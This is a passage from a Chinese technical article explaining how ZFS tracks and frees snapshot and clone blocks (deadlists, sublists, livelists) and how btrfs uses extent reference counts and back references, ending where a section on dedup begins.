其中 Matt 講到了三個刪除快照的算法,分別可以叫做「🐢烏龜算法」、「🐰兔子算法」、「🐆豹子算法」, 接下來簡單講講這些算法背後的思想和實現方式。

🐢烏龜算法:概念上 ZFS 如何刪快照

烏龜算法沒有實現在 ZFS 中,不過方便理解 ZFS 在概念上如何考慮快照刪除這個問題,從而幫助理解 後面的🐰兔子算法和🐆豹子算法。

要刪除一個快照, ZFS 需要找出這個快照引用到的「獨佔」數據塊,也就是那些不和別的數據集或者快照共享的 數據塊。 ZFS 刪除快照基於這幾點條件:

  1. ZFS 快照是只讀的。創建快照之後無法修改其內容。
  2. ZFS 的快照是嚴格按時間順序排列的,這裏的時間指 TXG id ,即記錄文件系統提交所屬事務組的嚴格遞增序號。
  3. ZFS 不存在 reflink 之類的機制,從而在某個時間點刪除掉的數據塊,不可能在比它更後面的快照中「復活」。

第三點關於 reflink 造成的數據復活現象可能需要解釋一下,比如在(支持 reflink 的) btrfs 中有如下操作:

btrfs subvolume snapshot -r fs s1
rm fs/somefile
btrfs subvolume snapshot -r fs s2
cp --reflink=always s1/somefile fs/somefile
btrfs subvolume snapshot -r fs s3

我們對 fs 創建了 s1 快照,刪除了 fs 中某個文件,創建了 s2 快照,然後用 reflink 把剛剛刪除的文件從 s1 中複製出來,再創建 s3 。如此操作之後,按時間順序有 s1、s2、s3 三個快照:

ditaa diagram

其中只有 s2 不存在 somefile ,而 s1 、 s3 和當前的 fs 都有,並且都引用到了同一個數據塊。 於是從時間線來看, somefile 的數據塊在 s2 中「死掉」了,又在 s3 中「復活」了。

而 ZFS (目前還)不支持 reflink ,所以沒法像這樣讓數據塊復活。一旦某個數據塊在某個快照中「死」了, 就意味着它在隨後的所有快照中都不再被引用到了。

ZFS 的快照具有的上述三點條件,使得 ZFS 的快照刪除算法可以基於 birth time 。回顧上面 ZFS 的塊指針 中講到, ZFS 的每個塊指針都有一個 birth txg 屬性,記錄這個塊誕生時 pool 所在的 txg 。於是可以根據這個 birth txg 找到快照所引用的「獨佔」數據塊然後釋放掉它們。

具體來說,🐢烏龜算法可以這樣刪除一個快照:

  1. 在 DSL 層找出要刪除的快照(我們叫他 s ),它的前一個快照(叫它 ps ),後一個快照(叫它 ns ),分別有各自的 birth txg 叫 s.birth, ps.birth, ns.birth 。
  2. 遍歷 s 的 DMU 對象集指針所引出的所有塊指針。 這裏所有塊指針在邏輯上構成一個由塊指針組成的樹狀結構,可以有間接塊組成的指針樹,可以有對象集的 dnode 保存的塊指針,這些都可以看作是樹狀結構的中間節點。
    1. 每個樹節點的指針 bp,考察如果 bp.birth <= ps.birth ,那麼這個指針和其下所有指針都還被前一個快照引用着,需要保留這個 bp 引出的整個子樹。
    2. 按定義 bp.birth 不可能 > s.birth 。
    3. 對所有滿足 ps.birth < bp.birtu <= s.birth 的 bp ,需要去遍歷 ns 的相應塊指針(同樣文件的同樣偏移位置),看是否還在引用 bp 。
      • 如果存在,繼續遞歸往下考察樹狀結構中 bp 的所有子節點指針。因爲可能共享了這個 bp 但 CoW 了新的子節點。
      • 如果不存在,說明下一個快照中已經刪了 bp 。這時可以確定地說 bp 是 s 的「獨佔」數據塊。
  3. 釋放掉所有找到的 s 所「獨佔」的數據塊。

上述算法的一些邊角情況可以自然地處理,比如沒有後一個快照時使用當前數據集的寫入點, 沒有前一個快照時那麼不被後一個快照引用的數據塊都是當前要刪除快照的獨佔數據塊。

分析一下烏龜算法的複雜度的話,算法需要分兩次,讀 s 和 ns 中引用到的所有 ps 之後創建的數據塊的指針,重要的是這些讀都是在整個文件系統範圍內的隨機讀操作,所以速度非常慢……

🐰兔子算法:死亡列表算法(ZFS早期)

可以粗略地認爲🐢烏龜算法算是用 birth txg 優化代碼路徑的 GC 算法,利用了一部分元數據中的 birth txg 信息來避免掃描所有元數據,但是概念上仍然是在掃描元數據找出快照的獨佔數據塊, 而非記錄和跟蹤快照的數據塊,在最壞的情況下仍然可能需要掃描幾乎所有元數據。

🐰兔子算法基於🐢烏龜算法的基本原理,在它基礎上跟蹤快照所引用數據塊的一些信息, 從而很大程度上避免了掃描元數據的開銷。ZFS 在早期使用這個算法跟蹤數據集和快照引用數據塊的情況。

🐰兔子算法爲每個數據集(文件系統或快照)增加了一個數據結構,叫死亡列表(dead list), 記錄 前一個快照中還活着,而當前數據集中死掉了的數據塊指針 ,換句話說就是在本數據集中「殺掉」的數據塊。舉例畫圖大概是這樣

ditaa diagram

上圖中有三個快照和一個文件系統,共 4 個數據集。每個數據集維護自己的死亡列表, 死亡列表中是那些在該數據集中被刪掉的數據塊。於是🐰兔子算法把🐢烏龜算法所做的操作分成了兩部分, 一部分在文件系統刪除數據時記錄死亡列表,另一部分在刪除快照時根據死亡列表釋放需要釋放的塊。

在當前文件系統刪除數據塊(不再被當前文件系統引用)時,負責比對 birth txg 維護當前文件系統的死亡列表。每刪除一個數據塊,指針爲 bp 時,判斷 bp.birth 和文件系統最新的快照(上圖爲 s3)的 birth:

  • bp.birth <= s3.birth: 說明 bp 被 s3 引用,於是將 bp 加入 fs1 的 deadlist
  • bp.birth > s3.birth:說明 bp 指向的數據塊誕生於 s3 之後,可以直接釋放 bp 指向的塊。

創建新快照時,將當前文件系統(圖中 fs1)的死亡列表交給快照,文件系統可以初始化一個空列表。

刪除快照時,我們有被刪除的快照 s 和前一個快照 ps 、後一個快照 ns ,需要讀入當前快照 s 和後一個快照 ns 的死亡列表:

  1. 對 s.deadlist 中的每個指針 bp
    • 複製 bp 到 ns.deadlist
  2. 對 ns.deadlist 中的每個指針 bp (其中包含了上一步複製來的)
    • 如果 bp.birth > ps.birth ,釋放 bp 的空間
    • 否則保留 bp

換個說法的話, 死亡列表記錄的是每個數據集需要負責刪除,但因爲之前的快照還引用着所以不能刪除的數據塊列表 。從當前文件系統中刪除一個數據塊時,這個職責最初落在當前文件系統身上,隨後跟着創建新快照職責被轉移到新快照上。 每個負責的數據集根據數據塊的出生時間是否早於之前一個快照來判斷現在是否能立刻釋放該塊, 刪除一個快照時則重新評估自己負責的和下一個快照負責的數據塊的出生時間。

從所做的事情來看,🐰兔子算法並沒有比🐢烏龜算法少做很多事情。🐢烏龜算法刪除一個快照, 需要遍歷當前快照和後一個快照兩組數據塊指針中,新寫入的部分; 🐰兔子算法則需要遍歷當前快照和後一個快照兩個死亡列表中,新刪除的塊指針。 但是實際🐰兔子算法能比🐢烏龜算法快不少,因爲維護死亡列表的操作只在文件系統刪除數據時和刪除快照時, 順序寫入,並且刪除快照時也只需要順序讀取死亡列表。在磁盤這種塊設備上,順序訪問能比隨機訪問有數量級的差異。

不過記錄死亡列表也有一定存儲開銷。最差情況下,比如把文件系統寫滿之後,創建一個快照, 再把所有數據都刪掉,此時文件系統引用的所有數據塊的塊指針都要保存在文件系統的死亡列表中。 按 ZFS 默認的 128KiB 數據塊大小,每塊需要 128 字節的塊指針,存儲這些死亡列表所需開銷可能要 整個文件系統大小的 1/1024 。如果用 4KiB 的數據塊大小,所需開銷則是 1/32 , 1TiB 的盤會有 32GiB 拿來存放這些塊指針,將高於用位圖數組所需的存儲量。

🐆豹子算法:死亡列表的子列表

🐆豹子算法是 ZFS 後來在 2009 年左右實現的算法。在🐰兔子算法中就可以看到,每次刪除快照操作死亡列表的時候, 都需要掃描死亡列表中的塊指針,根據指針中記錄的 birth txg 做判斷是否能直接釋放或是需要保留到另一個快照的死亡列表。 於是🐆豹子算法的思路是,在死亡列表中記錄塊指針時,就把其中的塊指針按 birth txg 分成子列表(sublist)。

比如上面🐰兔子算法中那4個死亡列表,可以這樣拆成子列表:

ditaa diagram

這樣拆成子列表之後,每次從死亡列表中釋放數據塊都能根據出生時間找到對應的子列表, 然後連續釋放整個子列表。每次合併死亡列表時,也能直接用單鏈表穿起需要合併的子列表,不需要複製塊指針。

死亡列表並不在跟蹤快照的獨佔大小,而是在跟蹤快照所需負責刪除的數據塊大小, 從這個數值可以推算出快照的獨佔大小之類的信息。 有了按出生時間排列的死亡列表子列表之後,事實上給任何一個出生時間到死亡時間的範圍, 都可以找出對應的幾個子列表,從而根據子列表的大小可以快速計算出每個快照範圍的「獨佔」數據塊、 「共享」數據塊等大小,這不光在刪除快照時很有用,也可以用來根據大小估算 zfs send 或者別的基於快照操作時需要的時間。

從直覺上理解,雖然 ZFS 沒有直接記錄每個數據塊屬於哪個數據集,但是 ZFS 跟蹤記錄了每個數據塊的歸屬信息,也就是說由哪個數據集負責釋放這個數據塊。 在文件系統中刪除數據塊或者快照時,這個歸屬信息跟着共享數據塊轉移到別的快照中,直到最終被釋放掉。

生存日誌:ZFS 如何管理克隆的空間佔用

Fast Clone Deletion by Sara Hartse

以上三種算法負責在 ZFS 中跟蹤快照的空間佔用,它們都基於數據塊的誕生時間,所以都假設 ZFS 中對數據塊的分配是位於連續的快照時間軸上。但是明顯 ZFS 除了快照和文件系統, 還有另一種數據集可能分配數據塊,那就是 克隆 ,於是還需要在克隆中使用不同的算法單獨管理因克隆而分配的數據塊。 OpenZFS Summit 2017 有個演講 Fast Clone Deletion by Sara Hartse 解釋了其中的細節。

首先克隆的存在本身會鎖住克隆引用到的快照,不能刪除這些被依賴的快照, 所以克隆無須擔心靠快照共享的數據塊的管理問題。因此克隆需要管理的,是從快照分離之後, 新創建的數據塊。

和🐢烏龜算法一樣,原理上刪除克隆的時候可以遍歷克隆引用的整個 DMU 對象集,找出其中晚於快照的誕生時間的數據塊,然後釋放它們。也和🐢烏龜算法一樣, 這樣掃描整個對象集的開銷很大,所以使用一個列表來記錄數據塊指針。 克隆管理新數據塊的思路和快照的🐰兔子算法維持死亡列表的思路相反, 記錄所有新誕生的數據塊,這個列表叫做「生存日誌(livelist)」。

克隆不光要記錄新數據塊的誕生,還要記錄新數據塊可能的死亡,所以磁盤上保存的生存日誌雖然叫 livelist ,但不像死亡列表那樣是列表的形式,而是日誌的形式,而內存中保存的生存日誌則組織成了棵 自平衡樹(AVLTree) 來加速查找。

ditaa diagram

磁盤上存儲的生存日誌如上圖,每個表項記錄它是分配(A)或者刪除(F)一個數據塊,同時記錄數據塊的地址。 這些記錄在一般情況下直接記錄在日誌末尾,隨着對克隆的寫入操作而不斷增長,長到一定程度則從內存中的 AVL Tree 直接輸出一個新的生存日誌替代掉舊的,合併其中對應的分配和刪除操作。

生存日誌可以無限增長,從而要將整個生存列表載入內存也有不小的開銷,這裏的解決方案有點像快照管理中用 🐆豹子算法改進🐰兔子算法的思路,把一個克隆的整個生存日誌也按照數據塊的誕生時間拆分成子列表。 Sara Hartse 的演講 Fast Clone Deletion 中繼續解釋了其中的細節和優化方案,感興趣的可以看看。

3.4   btrfs 的空間跟蹤算法:引用計數與反向引用

理解了 ZFS 中根據 birth txg 管理快照和克隆的算法之後,可以發現它們基於的假設難以用於 WAFL 和 btrfs 。 ZFS 嚴格區分文件系統、快照、克隆,並且不存在 reflink ,從而可以用 birth txg 判斷數據塊是否需要保留,而 WAFL 和 btrfs 中不存在 ZFS 的那些數據集分工,又想支持 reflink ,可見單純基於 birth txg 不足以管理 WAFL 和 btrfs 子卷。

讓我們回到一開始日誌結構文件系統中基於垃圾回收(GC)的思路上來,作爲程序員來看, 當垃圾回收的性能不足以滿足當前需要時,大概很自然地會想到:引用計數(reference counting)。 編程語言中用引用計數作爲內存管理策略的缺陷是:強引用不能成環, 這在文件系統中看起來不是很嚴重的問題,文件系統總體上看是個樹狀結構,或者就算有共享的數據也是個 上下層級分明的有向圖,很少會使用成環的指針,以及文件系統記錄指針的時候也都會區分指針的類型, 根據指針類型可以分出強弱引用。

EXTENT_TREE 和引用計數

btrfs 中就是用引用計數的方式跟蹤和管理數據塊的。引用計數本身不能保存在 FS_TREE 或者指向的數據塊中,因爲這個計數需要能夠變化,對只讀快照來說整個 FS_TREE 都是只讀的。 所以這裏增加一層抽象, btrfs 中關於數據塊的引用計數用一個單獨的 CoW B樹來記錄,叫做 EXTENT_TREE ,保存於 ROOT_TREE 中的 2 號對象位置。

btrfs 中每個塊都是按 區塊(extent) 的形式分配的,區塊是一塊連續的存儲空間,而非 zfs 中的固定大小。每個區塊記錄存儲的位置和長度, 以及這裏所說的引用計數。所以本文最開始講 Btrfs 的子卷和快照 中舉例的那個平坦佈局,如果畫上 EXTENT_TREE 大概像是下圖這樣,其中每個粗箭頭是一個區塊指針,指向磁盤中的邏輯地址,細箭頭則是對應的 EXTENT_TREE 中關於這塊區塊的描述:

Flat_layout_extents_on_disk superblock SUPERBLOCK ... root_tree ... roottree ROOT_TREE 2: extent_tree 3: chunk_tree 4: dev_tree 5: fs_tree 6: root_dir "default" -> ROOT_ITEM 256 10: free_space_tree 256: fs_tree "root" 257: fs_tree "home" 258: fs_tree "www" 259: fs_tree "postgres" -7: tree_log_tree -5: orphan_root superblock:sn_root->roottree:label toplevel FS_TREE "toplevel" 256: inode_item DIR 256: dir_item: "root" -> ROOT_ITEM 256 256: dir_item: "home" -> ROOT_ITEM 257 256: dir_item: "var" -> INODE_ITEM 257 256: dir_item: "postgres" -> ROOT_ITEM 259 257: inode_item DIR 257: dir_item: "www" -> ROOT_ITEM 258 roottree:root_fs->toplevel:label root FS_TREE "root" 256: inode_item DIR roottree:root_sub_root->root:label home FS_TREE "home" 256: inode_item DIR roottree:root_sub_home->home:label www FS_TREE "www" 256: inode_item DIR roottree:root_sub_www->www:label postgres FS_TREE "postgres" 256: inode_item DIR roottree:root_sub_postgres->postgres:label extent_tree EXTENT_TREE 0x2000 len=0x1000 : ref=1 gen=8 0x3000 len=0x1000 : ref=1 gen=8 0x11000 len=0x1000 : ref=1 gen=8 0x12000 len=0x1000 : ref=1 gen=6 0x13000 len=0x1000 : ref=1 gen=6 0x14000 len=0x1000 : ref=1 gen=6 0x15000 len=0x1000 : ref=1 gen=7 ... roottree:root_extent->extent_tree:label roottree:label->extent_tree:extent_roottree toplevel:label->extent_tree:extent_toplevel root:label->extent_tree:extent_root home:label->extent_tree:extent_home www:label->extent_tree:extent_www postgres:label->extent_tree:extent_postgres extent_tree:extent_extent->extent_tree:label
btrfs 中關於 chattr +C 關閉了 CoW 的文件的處理
2020年2月20日補充

這裏從 EXTENT_TREE 的記錄可以看出,每個區塊都有引用計數記錄。對用 chattr +C 關閉了 CoW 的文件而言,文件數據同樣還是有引用計數,可以和別的文件或者快照共享文件數據的。 這裏的特殊處理在於,每次寫入一個 nocow 的文件的時候,考察這個文件指向區塊的引用計數, 如果引用計數 >1 ,表示這個文件的區塊發生過 reflink ,那會對文件內容做一次 CoW 斷開 reflink 並寫入新位置;如果引用計數 =1 ,那麼直接原地寫入文件內容而不 CoW 。於是 nocow 的文件仍然能得到 reflink 和 snapshot 的功能, 使用這些功能仍然會造成文件碎片並伴隨性能損失,只是在引用計數爲 1 的時候不發生 CoW 。

包括 ROOT_TREE 和 EXTENT_TREE 在內,btrfs 中所有分配的區塊(extent)都在 EXTENT_TREE 中有對應的記錄,按區塊的邏輯地址索引。從而給定一個區塊,能從 EXTENT_TREE 中找到 ref 字段描述這個區塊有多少引用。不過 ROOT_TREE 、 EXTENT_TREE 和別的一些 pool-wide 數據結構本身不依賴引用計數的,這些數據結構對應的區塊的引用計數總是 1 ,不會和別的樹共享區塊;從 FS_TREE 開始的所有樹節點都可以共享區塊,這包括所有子卷的元數據和文件數據,這些區塊對應的引用計數可以大於 1 表示有多處引用。

EXTENT_TREE 按區塊的邏輯地址索引,記錄了起始地址和長度,所以 EXTENT_TREE 也兼任 btrfs 的空間利用記錄,充當別的文件系統中 block bitmap 的職責。比如上面例子中的 extent_tree 就表示 [0x2000,0x4000) [0x11000,0x16000) 這兩段連續的空間是已用空間, 剩下的空間按定義則是可用空間。爲了加速空間分配器, btrfs 也有額外的 free space cache 記錄在 ROOT_TREE 的 10 號位置 free_space_tree 中,不過在 btrfs 中這個 free_space_tree 記錄的信息只是緩存,必要時可以通過 btrfs check --clear-space-cache 扔掉這個緩存重新掃描 extent_tree 並重建可用空間記錄。

比如我們用如下命令創建了兩個文件,通過 reflink 讓它們共享區塊,然後創建兩個快照, 然後刪除文件系統中的 file2 :

write fs/file1
cp --reflink=always fs/file1 fs/file2
btrfs subvolume snapshot fs sn1
btrfs subvolume snapshot fs sn2
rm fs/file2

經過以上操作之後,整個 extent_tree 的結構中記錄的引用計數大概如下圖所示:

btrfs_reflink_backref root ROOT_TREE sn1 sn2 fs sn1 FS_TREE sn1 leaf_node root:sn1->sn1:label sn2 FS_TREE sn2 leaf_node root:sn2->sn2:label fs FS_TREE fs leaf_node root:fs->fs:label extent EXTENT_TREE extent_tree root_tree : ref 1 sn1 fs_tree : ref 1 sn2 fs_tree : ref 1 sn1 sn2 leaf_node: ref 2 fs fs_tree : ref 1 fs leaf_node : ref 1 file1 : ref 3 root:label->extent:root snleaf FS_TREE leaf_node file1 file2 sn1:leaf->snleaf:label sn1:label->extent:sn1 sn2:leaf->snleaf:label sn2:label->extent:sn2 fsleaf FS_TREE leaf_node file1 fs:leaf->fsleaf:label fs:label->extent:fs snleaf:label->extent:snleaf snleaf:f1->extent:f1 snleaf:f2->extent:f1 fsleaf:label->extent:fsleaf fsleaf:f1->extent:f1

上圖簡化了一些細節,實際上每個文件可以引用多個區塊(文件碎片), 其中每個對區塊的引用都可以指明引用到具體某個區塊記錄的某個地址偏移和長度, 也就是說文件引用的區塊可以不是區塊記錄中的一整個區塊,而是一部分內容。

圖中可見,整個文件系統中共有5個文件路徑可以訪問到同一個文件的內容,分別是 sn1/​file1, sn1/​file2, sn2/​file1, sn2/​file2, fs/​file1 , 在 extent_tree 中, sn1 和 sn2 可能共享了一個 B樹 葉子節點,這個葉子節點的引用計數爲 2 ,然後每個文件的內容都指向同一個 extent ,這個 extent 的引用計數爲 3 。

刪除子卷時,通過引用計數就能準確地釋放掉子卷所引用的區塊。具體算法挺符合直覺的:

  1. 從子卷的 FS_TREE 往下遍歷
    • 遇到引用計數 >1 的區塊,減小該塊的計數即可,不需要再遞歸下去
    • 遇到引用計數 =1 的區塊,就是子卷獨佔的區塊,需要釋放該塊並遞歸往下繼續掃描

大體思路挺像上面介紹的 ZFS 快照刪除的🐢烏龜算法 ,只不過根據引用計數而非 birth txg 判斷是否獨佔數據塊。性能上說, btrfs 的B樹本身內容就比較緊湊,FS_TREE 一個結構就容納了文件 inode 和引用的區塊信息, EXTENT_TREE 按地址排序也比較緊湊,所以刪除算法的隨機讀寫不像 ZFS 的🐢烏龜算法那麼嚴重, 實際實現代碼裏面也可能通過 btrfs generation 做一些類似基於 birth txg 優化的快速代碼路徑。 即便如此,掃描 FS_TREE 仍然可能需要耗時良久,這個遞歸的每一步操作都會記錄在 ROOT_TREE 中專門的結構,也就是說刪除一個子卷的操作可以執行很長時間並跨越多個 pool commit 。 btrfs subvolume delete 命令默認也只是記錄下這個刪除操作,然後就返回一句類似: Delete subvolume (no-commit): /​subvolume/​path 的輸出,不會等刪除操作執行結束。 相比之下 ZFS 那邊刪除一個快照或文件系統必須在一個 txg 內執行完,沒有中間過程的記錄, 所以如果耗時很久會影響整個 pool 的寫入,於是 ZFS 那邊必須對這些操作優化到能在一個 txg 內執行完的程度(摧毀克隆方面 ZFS 還有 async_destroy 優化 可能有些幫助)。

只需要引用計數就足夠完成快照的創建、刪除之類的功能,也能支持 reflink 了(仔細回想, reflink 其實就是 reference counted link 嘛),普通讀寫下也只需要引用計數。 但是只有引用計數不足以知道區塊的歸屬,不能用引用計數統計每個子卷分別佔用多少空間, 獨佔多少區塊而又共享多少區塊。上面的例子就可以看出,所有文件都指向同一個區塊,該區塊的引用計數爲 3 ,而文件系統中一共有 5 個路徑能訪問到該文件。可見從區塊根據引用計數反推子卷歸屬信息不是那麼一目瞭然的。

反向引用(back reference)

單純從區塊的引用計數難以看出整個文件系統所有子卷中有多少副本。 也就是說單有引用計數的一個數字還不夠,需要記錄具體反向的從區塊往引用源頭指的引用,這種結構在 btrfs 中叫做「反向引用(back reference,簡稱 backref)」。所以在上圖中每一個指向 EXTENT_TREE 的單向箭頭,在 btrfs 中都有記錄一條反向引用,通過反向引用記錄能反過來從被指針指向的位置找回到記錄指針的地方。

反向引用(backref)是 btrfs 中非常關鍵的機制,在 btrfs kernel wiki 專門有一篇頁面 Resolving Extent Backrefs 解釋它的原理和實現方式。

對上面的引用計數的例子畫出反向引用的指針大概是這樣:

btrfs_reflink_backref root ROOT_TREE sn1 sn2 fs sn1 FS_TREE sn1 leaf_node root:sn1->sn1:label sn2 FS_TREE sn2 leaf_node root:sn2->sn2:label fs FS_TREE fs leaf_node root:fs->fs:label extent EXTENT_TREE extent_tree root_tree : ref 1 sn1 fs_tree : ref 1 backref ROOT_TREE sn1 sn2 fs_tree : ref 1 backref ROOT_TREE sn2 sn1 sn2 leaf_node: ref 2 backref sn1 FS_TREE node backref sn2 FS_TREE node fs fs_tree : ref 1 backref ROOT_TREE fs fs leaf_node : ref 1 backref fs FS_TREE node file1 : ref 3 backref sn1 FS_TREE leaf_node file1 backref sn1 FS_TREE leaf_node file2 backref fs FS_TREE leaf_node file1 snleaf FS_TREE leaf_node file1 file2 sn1:leaf->snleaf:label sn2:leaf->snleaf:label fsleaf FS_TREE leaf_node file1 fs:leaf->fsleaf:label extent:br1->root:label extent:br2->root:label extent:br5->root:label extent:br3->sn1:label extent:br4->sn2:label extent:br6->fs:label extent:br7->snleaf:label extent:br8->snleaf:label extent:br9->fsleaf:label

EXTENT_TREE 中每個 extent 記錄都同時記錄了引用到這個區塊的反向引用列表。反向引用有兩種記錄方式:

  1. 普通反向引用(Normal back references)。記錄這個指針來源所在是哪顆B樹、 B樹中的對象 id 和對象偏移。
    • 對文件區塊而言,就是記錄文件所在子卷、inode、和文件內容的偏移。
    • 對子卷的樹節點區塊而言,就是記錄該區塊的上級樹節點在哪個B樹的哪個位置開始。
  2. 共享反向引用(Shared back references)。記錄這個指針來源區塊的邏輯地址。
    • 無論對文件區塊而言,還是對子卷的樹節點區塊而言,都是直接記錄了保存這個區塊指針的上層樹節點的邏輯地址。

有兩種記錄方式是因爲它們各有性能上的優缺點:

普通反向引用:因爲通過對象編號記錄,所以當樹節點 CoW 改變了地址時不需要調整地址, 從而在普通的讀寫和快照之類的操作下有更好的性能, 但是在解析反向引用時需要額外一次樹查找。 同時因爲這個額外查找,普通反向引用也叫間接反向引用。
共享反向引用:因爲直接記錄了邏輯地址,所以當這個地址的節點被 CoW 的時候也需要調整這裏記錄的地址。 在普通的讀寫和快照操作下,調整地址會增加寫入從而影響性能,但是在解析反向引用時更快。

通常通過普通寫入、快照、 reflink 等方式創建出來的引用是普通反向引用, 由於普通反向引用記錄了包含它的B樹,從而可以說綁在了某棵樹比如某個子卷上, 當這個普通反向引用指向的對象不再存在,而這個反向引用還在通過別的途徑共享時, 這個普通反向引用會轉換共享反向引用;共享反向引用在存在期間不會變回普通反向引用。

比如上圖反向引用的例子中,我們先假設所有畫出的反向引用都是普通反向引用,於是圖中標爲 file1 引用數爲 3 的那個區塊有 3 條反向引用記錄,其中前兩條都指向 sn1 裏面的文件,分別是 sn1/file1 和 sn1/file2 ,然後 sn1 和 sn2 共享了 FS_TREE 的葉子節點。

假設這時我們刪除 sn1/file2,執行了代碼 rm sn1/​file2 之後:

btrfs_reflink_shared_backref root ROOT_TREE sn1 sn2 fs sn1 FS_TREE sn1 leaf_node root:sn1->sn1:label sn2 FS_TREE sn2 leaf_node root:sn2->sn2:label fs FS_TREE fs leaf_node root:fs->fs:label extent EXTENT_TREE extent_tree root_tree : ref 1 sn1 fs_tree : ref 1 backref ROOT_TREE sn1 sn2 fs_tree : ref 1 backref ROOT_TREE sn2 sn1 sn2 leaf_node: ref 2 backref sn1 FS_TREE node backref sn2 FS_TREE node fs fs_tree : ref 1 backref ROOT_TREE fs fs leaf_node : ref 1 backref fs FS_TREE node file1 : ref 4 backref FS_TREE leaf_node file1 backref FS_TREE leaf_node file2 backref fs FS_TREE leaf_node file1 backref sn1 FS_TREE leaf_node file1 sn1leaf FS_TREE leaf_node file1 sn1:leaf->sn1leaf:label snleaf FS_TREE leaf_node file1 file2 sn2:leaf->snleaf:label fsleaf FS_TREE leaf_node file1 fs:leaf->fsleaf:label extent:br1->root:label extent:br2->root:label extent:br5->root:label extent:br3->sn1:label extent:br4->sn2:label extent:br6->fs:label extent:br10->sn1leaf:label extent:br7->snleaf:label extent:br8->snleaf:label extent:br9->fsleaf:label

那麼 sn1 會 CoW 那個和 sn2 共享的葉子節點,有了新的屬於 sn1 的葉子,從而斷開了原本 file1 中對這個共享葉子節點的兩個普通反向引用,轉化成共享反向引用(圖中用虛線箭頭描述), 並且插入了一個新的普通反向引用指向新的 sn1 的葉子節點。

遍歷反向引用(backref walking)

有了反向引用記錄之後,可以給定一個邏輯地址,從 EXTENT_TREE 中找到地址的區塊記錄, 然後從區塊記錄中的反向引用記錄一步步往回遍歷,直到遇到 ROOT_TREE ,最終確定這個邏輯地址的區塊在整個文件系統中有多少路徑能訪問它。 這個遍歷反向引用的操作,在 btrfs 文檔和代碼中被稱作 backref walking 。

比如還是上面的反向引用圖例中 sn1 和 sn2 完全共享葉子節點的那個例子,通過 backref walking ,我們能從 file1 所記錄的 3 個反向引用,推出全部 5 個可能的訪問路徑。

backref walking 作爲很多功能的基礎設施,從 btrfs 相當早期(3.3內核)就有,很多 btrfs 的功能實際依賴 backref walking 的正確性。列舉一些需要 backref walking 來實現的功能:

  1. qgroup

    btrfs 的子卷沒有記錄子卷的磁盤佔用開銷,靠引用計數來刪除子卷, 所以也不需要詳細統計子卷的空間佔用情況。不過對一些用戶的使用場景,可能需要統計子卷空間佔用。由於 可能存在的共享元數據和數據,子卷佔用不能靠累計加減法的方式算出來,所以 btrfs 有了 qgroup 和 quota 功能,用來統計子卷或者別的管理粒度下的佔用空間情況。爲了實現 qgroup ,需要 backref walking 來計算區塊共享的情況。

  2. send

    btrfs send 在計算子卷間的差異時,也通過 backref walking 尋找能靠 reflink 共享的區塊,從而避免傳輸數據。

  3. balance/scrub

    balance 和 scrub 都會調整區塊的地址,通過 backref walking 能找到所有引用到這個地址的位置並正確修改地址。

  4. check

    當需要打印診斷信息的時候,除了提供出錯的數據所在具體地址之外,通過 backref walking 也能提供受影響的文件路徑之類的信息。

btrfs 的 reflink-aware defrag
這裏想提一下 btrfs 一直計劃中,但是還沒有成功實現的 reflink-aware defrag 。文件碎片一直是 CoW 文件系統的大問題,對 btrfs 和對 ZFS 都是同樣。ZFS 完全不支持碎片整理, 而 btrfs 目前只提供了文件級別的碎片整理,這會切斷現有的 reflink 。計劃中的 reflink-aware defrag 也是基於 backref walking ,根據區塊引用的碎片程度,整理碎片而某種程度上保持 reflink 。btrfs 曾經實現了這個,但是因爲 bug 太多不久就取消了相關功能,目前這個工作處於停滯階段。

可見 backref walking 的能力對 btrfs 的許多功能都非常重要(不像 ZPL 的 dnode 中記錄的 parent dnode 那樣只用於診斷信息 )。不過 backref walking 根據區塊共享的情況的不同,也可能導致挺大的運行期開銷,包括算法時間上的和內存佔用方面的開銷。 比如某個子卷中有 100 個文件通過 reflink 共享了同一個區塊,然後對這個子卷做了 100 個快照, 那麼對這一個共享區塊的 backref walking 結果可能解析出 10000 個路徑。可見隨着使用 reflink 和快照, backref walking 的開銷可能爆炸式增長。最近 btrfs 郵件列表也有一些用戶彙報,在大量子卷 和通過 reflink 做過 dedup 的 btrfs 文件系統上 send 快照時,可能導致內核分配大量內存甚至 panic 的情形,在 5.5 內核中 btrfs send 試圖控制 send 時 clone reference 的數量上限來緩解這種邊角問題。

值得再強調的是,在沒有開啓 qgroup 的前提下,正常創建刪除快照或 reflink ,正常寫入和覆蓋區塊之類的文件系統操作,只需要引用計數就足夠,雖然可能需要調整反向引用記錄( 尤其是共享反向引用的地址),但是不需要動用 backref walking 這樣的重型武器。

4   ZFS vs btrfs 的 dedup 功能現狀

上面討論 ZFS 的快照和克隆如何跟蹤數據塊時,故意避開了 ZFS 的 dedup 功能,因爲要講 dedup 可能需要先理解引用計數在文件系統中的作用,而 btrfs 正好用了引用計數。 於是我們再回來 ZFS 這邊,看看 ZFS 的 dedup 是具體如何運作的。

稍微瞭解過 btrfs 和 ZFS 兩者的人,或許有不少 btrfs 用戶都眼饞 ZFS 有 in-band dedup 的能力,可以在寫入數據塊的同時就去掉重複數據,而 btrfs 只能「退而求其次」地選擇第三方 dedup 方案,用外部工具掃描已經寫入的數據,將其中重複的部分改爲 reflink 。又或許有不少 btrfs 用戶以爲 zfs 的 dedup 就是在內存和磁盤中維護一個類似 Bloom filter 的結構,然後根據結果對數據塊增加 reflink ,從而 zfs 內部大概一定有類似 reflink 的設施,進一步質疑爲什麼 btrfs 還遲遲沒有實現這樣一個 Bloom filter 。 或許還有從 btrfs 轉移到 ZFS 的用戶有疑惑, 爲什麼 ZFS 還沒有暴露出 reflink 的用戶空間接口 ,或者既然 ZFS 已經有了 dedup , 能不能臨時開關 dedup 來提供類似 reflink 式的共享數據塊 而避免 ZFS 長期開 dedup 導致的巨大性能開銷。

看過上面 ZFS 中關於快照和克隆的空間跟蹤算法 之後我們會發現,其實 ZFS 中並沒有 能對應 btrfs reflink 的功能,而是根據數據塊指針中的 birth txg 來跟蹤快照和克隆的共享數據塊的。這引來更多疑惑:

4.1   ZFS 是如何實現 dedup 的?

Dedup Performance by Matt Ahrens

